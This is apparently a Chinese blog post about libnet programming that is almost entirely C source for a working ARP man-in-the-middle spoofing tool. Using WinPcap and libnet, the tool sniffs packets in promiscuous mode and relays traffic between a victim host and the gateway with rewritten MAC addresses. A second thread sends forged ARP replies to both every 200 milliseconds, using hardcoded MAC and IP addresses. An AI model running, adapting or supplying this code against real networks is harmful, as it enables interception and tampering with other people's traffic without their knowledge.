Libnet编程之arp中间人欺骗
主线程负责抓包转发包,子线程负责向两台主机发arp欺骗包#include <win32/libnet.h>
#pragma comment(lib, "libnet.lib")
//回调处理函数的原型//
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
//send_arp线程函数//
DWORD WINAPI send_arp(LPVOID no);
pcap_t *adhandle;
u_char packet[4056];
u_char hardware_add0[6] = ...{0x00, 0x11, 0xD8, 0x5F, 0x45, 0x4E};//源MAC地址,我的mac地址
u_char hardware_add1[6] = ...{0x00, 0x10, 0xdc, 0xe3, 0x35, 0xf9};//B机
u_char hardware_add2[6] = ...{0x00, 0x01, 0xf4, 0x1c, 0x1a, 0xdb};//网关
#pragma pack(1)//内存对齐,使内存紧凑
struct P_MAC_HEADER
...{
u_char dmac[6];
u_char smac[6];
u_short type;
};
struct P_MAC_HEADER MacHeadr,*pMacHeadr;
#pragma pack()
main()
...{
HANDLE thread[1];//建立一个线程句柄(空指针)
DWORD threadid;//线程ID
pcap_if_t *alldevs;//接口结点指针
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
pMacHeadr=&MacHeadr;
//取得所有网卡列表//
if(pcap_findalldevs(&alldevs, errbuf) == -1)
...{
fprintf(stderr,"Error in pcap_findalldevs: %s ", errbuf);
exit(1);
}
//输入列表//
for(d=alldevs; d; d=d->next)
...{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s) ", d->description);
else
printf(" (No description available) ");
}
if(i==0)//如果网卡数等于0,则输出"找不到网卡"
...{
printf(" No interfaces found! Make sure WinPcap is installed. ");
return -1;
}
/**//* 选择欲抓包网卡号*/
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
...{
printf(" Interface number out of range. ");
/**//* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);//进行网卡选择
/**//* 打开一个网卡进行抓包*/
if ((adhandle= pcap_open_live(d->name, // 网卡名字
65536, // 要捕获的数据包字节数
1, // 混杂模式为非0,非混杂为0
1, // read timeout
errbuf // error buffer
)) == NULL)
...{
fprintf(stderr," Unable to open the adapter. %s is not supported by WinPcap ", d->name);
pcap_freealldevs(alldevs);
return -1;
}
/**//* 释放网络接口列表结点链表空间*/
pcap_freealldevs(alldevs);
thread[0]=CreateThread(NULL,0,send_arp,NULL,0,&threadid);//子线程
if(thread[0]==NULL)
...{
printf("CreateThread for Tsend_arp Error: %d ",GetLastError());
return -1;
}
/**//* 开始循环抓包,每抓一个包就用第三个参数所指的处理函数来处理*/
pcap_loop(adhandle, 0, packet_handler, NULL);
pcap_close(adhandle);
return 0;
}
/**//* 回调处理函数*/
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
...{
pMacHeadr=(struct P_MAC_HEADER *)pkt_data;
if((strncmp(pMacHeadr->smac+1,hardware_add1+1,5)==0)&&(strncmp(pMacHeadr->dmac+1,hardware_add0+1,5)==0))//B向C(网关发)
...{ //上面加1是因为网卡地址第一个都为0
memcpy(packet,pkt_data,header->caplen);
memcpy(packet,hardware_add2,6);//目的mac填C(网关)
memcpy(packet+6,hardware_add0,6);//改源mac,从我这发给C(网关)
pcap_sendpacket(adhandle,packet,header->caplen);
}
if((strncmp(pMacHeadr->smac+1,hardware_add2+1,5)==0)&&(strncmp(pMacHeadr->dmac+1,hardware_add0+1,5)==0))//C(网关发)向B发
...{
memcpy(packet,pkt_data,header->caplen);
memcpy(packet,hardware_add1,6);//目的mac填B
memcpy(packet+6,hardware_add0,6);//改源mac,改成从我这发给B
pcap_sendpacket(adhandle,packet,header->caplen);
}
}
//------向两机发arp欺骗包------//
DWORD WINAPI send_arp(LPVOID no)
...{
libnet_t *l;//libnet句柄
libnet_ptag_t protocol_tag;//协议块标记
char *device = NULL;//设备名字,此时为NULL
char error_information[LIBNET_ERRBUF_SIZE];//用来存放错误信息
u_char hardware_source[6] = ...{0x00, 0x11, 0xD8, 0x5F, 0x45, 0x4E};//源MAC地址,我的mac地址
u_long destination_ip;// 目的IP地址
u_long source_ip;//源IP地址
char *source_ip_str1 ="10.10.138.20";
char *source_ip_str2 ="10.10.138.149";
char destination_ip_str1[6];
memset(destination_ip_str1,0,6);
l = libnet_init(
LIBNET_LINK_ADV,//libnet类型 */
device,//网络设备
error_information);
printf(" 开始ARP欺骗:%s<========me=======>%s ",source_ip_str1,source_ip_str2);
while(1)
...{
//欺骗B
source_ip = libnet_name2addr4(l,source_ip_str1, LIBNET_RESOLVE);
//把目的IP地址字符串形式转化成网络顺序字节形式的数据
//u_char hardware_destination[6] ={0xff, 0xff, 0xff, 0xff, 0xff, 0xff};//目的MAC地址,可以是任意指定
protocol_tag = libnet_build_arp(
//构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记
ARPHRD_ETHER,
// 硬件地址类型,在这里是以太网
ETHERTYPE_IP,
//协议地址类型,在这里是IP协议
6,
//硬件地址长度,MAC地址的长度为6
4,
//协议地址长度,IP地址的长度为4
ARPOP_REPLY,
//操作类型,在这里是ARP应答类型
hardware_source,
//源硬件地址
(u_int8_t*) &source_ip,
//源IP地址
hardware_add1,
//目标硬件地址
(u_int8_t*) &destination_ip,
//目标协议地址
NULL,
//负载,此时为NULL
0,
//负载的长度,此时为0
l,
//libnet句柄,此句柄由libnet_init()函数生成
0
//协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块
);
protocol_tag = libnet_build_ethernet(
// 构造一个以太网协议块,返回一个指向此协议块的标记
hardware_add1,
//目的硬件地址
hardware_source,
//源硬件地址
ETHERTYPE_ARP,
//以太网上层协议类型,此时为ARP类型
NULL,
0,
l ,//libnet句柄
0
);
libnet_write(l);//发送已经构造的ARP数据包
Sleep(200);
libnet_clear_packet(l);
//欺骗C(网关)
source_ip = libnet_name2addr4(l,source_ip_str2, LIBNET_RESOLVE);
//把目的IP地址字符串形式转化成网络顺序字节形式的数据
protocol_tag = libnet_build_arp(
//构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记
ARPHRD_ETHER,
// 硬件地址类型,在这里是以太网
ETHERTYPE_IP,
//协议地址类型,在这里是IP协议
6,
//硬件地址长度,MAC地址的长度为6
4,
//协议地址长度,IP地址的长度为4
ARPOP_REPLY,
//操作类型,在这里是ARP应答类型
hardware_source,
//源硬件地址
(u_int8_t*) &source_ip,
//源IP地址
hardware_add2,
//目标硬件地址
(u_int8_t*) &destination_ip,
//目标协议地址
NULL,
//负载,此时为NULL
0,
//负载的长度,此时为0
l,
//libnet句柄,此句柄由libnet_init()函数生成
0
//协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块
);
protocol_tag = libnet_build_ethernet(
// 构造一个以太网协议块,返回一个指向此协议块的标记
hardware_add2,
//目的硬件地址
hardware_source,
//源硬件地址
ETHERTYPE_ARP,
//以太网上层协议类型,此时为ARP类型
NULL,
0,
l ,//libnet句柄
0
);
libnet_write(l);//发送已经构造的ARP数据包
Sleep(200);
libnet_clear_packet(l);
}
libnet_destroy(l);//销毁libnet
return 0;
}
Trackback: [url]http://tb.blog.csdn.net/TrackBack.aspx?PostId=1619905[/url]
页:
[1]